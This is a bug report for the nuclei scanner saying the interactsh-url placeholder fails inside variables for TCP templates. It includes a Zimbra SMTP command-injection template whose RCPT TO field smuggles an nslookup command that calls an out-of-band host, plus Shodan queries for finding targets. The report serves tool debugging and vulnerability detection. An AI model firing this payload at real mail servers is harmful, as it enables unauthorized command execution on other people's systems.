[BUG] interactsh-url placeholder doesn't work in variables for tcp

[Ice3man543]

Is there an existing issue for this?

• I have searched the existing issues.

Current Behavior

When using {{interactsh-url}} with variables, it doesn't work

Expected Behavior

It should work

Steps To Reproduce

Make a template with interactsh-url in variables

id: smtp-command-injection

info:
  name: SMTP Command Injection
  author: ProjectDiscoveryAI
  severity: high
  metadata:
    max-request: 4
    vendor: zimbra
    product: collaboration
    shodan-query:
      - http.favicon.hash:"1624375939"
      - http.favicon.hash:"475145467"

variables:
  oob: "{{interactsh-url}}"

tcp:
  - inputs:
      - data: "EHLO {{Host}}\r\n"
      - data: "MAIL FROM:<attacker@localhost>\r\n"
      - data: "RCPT TO:<victim($(nslookup$IFS{{oob}}))@example.com>\r\n"
      - data: "DATA\r\n"
      - data: "Subject: Test\r\n"
      - data: "Test email body.\r\n"
      - data: ".\r\n"
      - data: "QUIT\r\n"
    host:
      - "{{Hostname}}"
    port: 80
    read-size: 1024
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

Relevant log output

❯ nuclei -t xx.yaml -u example.com -debug

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.1

                projectdiscovery.io

[INF] Current nuclei version: v3.3.1 (outdated)
[INF] Current nuclei-templates version: v10.0.0 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 255
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[WRN] [smtp-command-injection] Could not make network request for example.com:80: unresolved variables found: interactsh-url
[INF] No results found. Better luck next time!

Environment

- OS: mac
- Nuclei: latest
- Go: go1.23

Anything else?

No response